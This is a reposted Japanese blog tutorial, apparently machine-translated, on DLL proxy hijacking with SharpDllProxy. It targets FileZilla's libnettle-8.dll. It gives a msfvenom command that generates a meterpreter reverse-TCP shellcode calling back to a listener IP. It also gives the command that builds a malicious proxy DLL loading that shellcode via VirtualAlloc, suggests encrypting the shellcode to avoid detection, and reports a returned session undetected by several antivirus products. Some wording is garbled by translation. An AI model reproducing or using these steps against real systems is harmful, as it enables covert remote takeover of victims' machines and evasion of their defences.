ホームページ >運用・保守 >安全性 >DLL プロキシ転送と微泉分析を実行する方法

DLL プロキシ転送と微泉分析を実行する方法

WBOY
WBOY転載
2023-05-26 18:10:331733ブラウズ

DLL ハイジャック

Windows 7 バージョン以降、システムは、レジストリ HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs にある DLL の管理に KnowDLL を使用します。 exe自体が存在するディレクトリから呼び出すことは禁止されていますが、システムディレクトリ(System32)ディレクトリからのみ呼び出すことができます。 DLL ハイジャックの理由は、すべての DLL がレジストリに書き込まれるわけではないことです。

msfvenom によって生成された dll を使用して、直接強制終了します。 DLL プロキシ転送と微泉分析を実行する方法

SharpDllProxy

名前は Socks プロキシに似ています。ツールのソース元: https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/。具体的な実装については、この上司のブログも参照してください。

はじめに

まず、ダイナミック リンク ライブラリの動作原理を理解してください。アプリケーション A がダイナミック リンク ライブラリ DataFunctions.dll の GetFunkyData() 関数を使用する場合は、DataFunctions.dll ダイナミック リンク ライブラリをロードする必要があります。このツールはこの考えに基づいており、DataFunction.dll と同じ名前のダイナミック リンク ライブラリを作成します。これには 2 つの機能があります: ① すべての関数を実際のダイナミック リンク ライブラリ DataFunctions.dll に転送するショートカット キーを作成します。名前のプロキシの由来; ② この偽の DataFunctions.dll にシェルコードを書き込みます。著者のオリジナルの画像を添付します: DLL プロキシ転送と微泉分析を実行する方法

実験プロセス

ターゲット プログラム

この実験を行うには時間がかかりました (FileZilla ソフトウェアなど)。これを見つける方法それをロードする必要があります。dll はどうですか?著者が言ったように、ソフトウェアをコピーすれば、何が欠けているかがわかります。次のように: DLL プロキシ転送と微泉分析を実行する方法

DLL プロキシ転送と微泉分析を実行する方法

つまり、アプリケーションを実行するには DLL ファイルをロードする必要があるため、この DLL 用に偽の libnettle-8.dll を作成します。

シェルコードの生成

<br>
<br>

msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124.29 LPORT=4444 -f raw >shell.bin

実験が始まります

最初に SharpDllProxy をダウンロードします: https://github.com/Flangvik/SharpDllProxy, 次に Visual Studio 2019 を使用してコンパイルします。さまざまな Visual Studio 2017 を使用したため、他のバージョンは使用しないようにしてください。エラー報告に時間がかかりましたが、エラーが出ませんでした。環境に問題がある可能性があります。

vs を直接使用してファイルの下の SharpDllProxy を開きます --> ソリューションの生成DLL プロキシ転送と微泉分析を実行する方法DLL プロキシ転送と微泉分析を実行する方法

SharpDllProxy.dll を使用して偽の libnettle-8.dll ファイルを作成します。上の図のファイルに、shell.bin と偽装する必要がある Dll を配置します。次のコマンドを実行します: .\SharpDllProxy.exe --dll libnettle-8.dll --payload shell.binDLL プロキシ転送と微泉分析を実行する方法

生成されたファイルには C ファイルと dll が含まれています。この dll ファイルはオリジナルです。 libnettle-8.dll ファイル。 DLL プロキシ転送と微泉分析を実行する方法

この C 言語プログラムを分析してみましょう。9 行目から 494 行目までは、すべて DLL を転送する関数です。実行する必要があるすべての関数は、処理のために元の DLL に転送されます。 DLL プロキシ転送と微泉分析を実行する方法

行 497 はシェルコードを挿入した場所です。これが唯一のキー コードですが、実際には、シェルコード Shell.bin をファイルに直接書き込むこともでき、これにより、不審なファイルの数が減ります。ここでは、VirtualAlloc メモリ操作を通じてバイナリ モードでシェルコードを読み取り、実行します。この時点では、自分自身で虎のように操作し、シェルコードを暗号化してから復号して実行するなど、読み込み方法を変更するなど、さまざまな対殺害姿勢を使用できます。 DLL プロキシ転送と微泉分析を実行する方法

VS を使用して上記の C ファイルをコンパイルします。 「ファイル」メニューから「新規」を選択し、「ダイナミック リンク ライブラリ プロジェクト」を選択して、プロジェクトに libnettle-8 という名前を付けます。上記の C ファイル コードを VS にコピーしてコンパイルします。DLL プロキシ転送と微泉分析を実行する方法DLL プロキシ転送と微泉分析を実行する方法

上記の 3 つのファイル (tmpD475.dll、libnettle-8.dll、shell.bin) をターゲット システムに送信します。 msf を使用してリッスンし、プログラムを実行すると、セッションが返されます。 DLL プロキシ転送と微泉分析を実行する方法DLL プロキシ転送と微泉分析を実行する方法

最も一般的に使用されているウイルス対策ソフトウェア 360、Tinder、および Safe Manager を使用すると、検出されませんでした。 DLL プロキシ転送と微泉分析を実行する方法

以上がDLL プロキシ転送と微泉分析を実行する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。